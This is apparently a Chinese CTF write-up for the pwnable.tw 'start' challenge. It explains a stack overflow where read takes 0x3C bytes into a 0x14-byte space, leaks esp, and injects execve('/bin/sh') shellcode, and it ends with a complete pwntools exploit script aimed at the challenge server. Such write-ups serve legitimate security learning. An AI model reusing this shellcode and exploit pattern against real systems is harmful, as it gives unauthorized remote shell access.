Pwnable_Start

初始阶段

先查文件信息

start题目,通通没有开启。
获得信息,小端序

分析阶段


发现没有main函数,只有汇编代码

运行看一下

这里esp先入栈,随后的xor等清空寄存器,然后又push进去了Let`s start the CTF:的字符。

下面提醒调用了sys_write函数,
即调用80h中断的四号程序sys_write 显示字符串
调用80h中断的三号程序sys_read 读入字符串
可以查看system_call_table网址https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 选择对应的系统即可获得

漏洞存在

可以看到write函数提供了0x14大小,而read的大小的0x3C,显然存在漏洞。

add esp,14h
retn
最后返回到esp后20字节的地方,再次给了机会

获取shell

1.获得esp地址用于覆盖返回地址,执行shellcode
2.让shellcode覆盖栈里面的数据

需要明白的是,当write进去20(0x14)个字节时,read读入的不止这些,还会继续读,而这时提前给esp规划的20个字节空间已经用完,会retn到 输入的20个字节后面的地方,可以造成esp地址的泄露。

1.payload = b'a' * 20 + p32(0x08048087)
获得esp的地址之后编写shellcode,

利用80h中断中的sys_execve:

点击查看代码
31 c9                   xor    ecx,ecx
f7 e1                   mul    ecx
51                      push   ecx
68 2f 2f 73 68          push   0x68732f2f     ;传入参数/bin/sh
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
b0 0b                   mov    al,0xb        ;调用80h中断中b号程序:sys_execve
cd 80                   int    0x80

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

获得足够信息后,shellcode执行

2.payload = b'a' * 20 + p32('esp的地址' + 20) + shellcode

exp:

点击查看代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

def main():
    content = 0  # 改为 1 测试本地程序
    if content == 1:
        io = process("./start")
    else:
        io = remote('chall.pwnable.tw', 10000)

    payload = b'a' * 20 + p32(0x08048087)

    io.recvuntil(':')
    io.send(payload)

    addr = u32(io.recv(4)) + 0x14
    shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

    payload = b'a' * 20 + p32(addr) + shellcode
    io.send(payload)
    io.interactive()

if __name__ == "__main__":
    main()

参考文章:https://www.anquanke.com/post/id/150359,https://blog.csdn.net/qq_43935969/article/details/105717621

posted @ 2024-11-19 21:49  awigwu76  阅读(20)  评论(0编辑  收藏  举报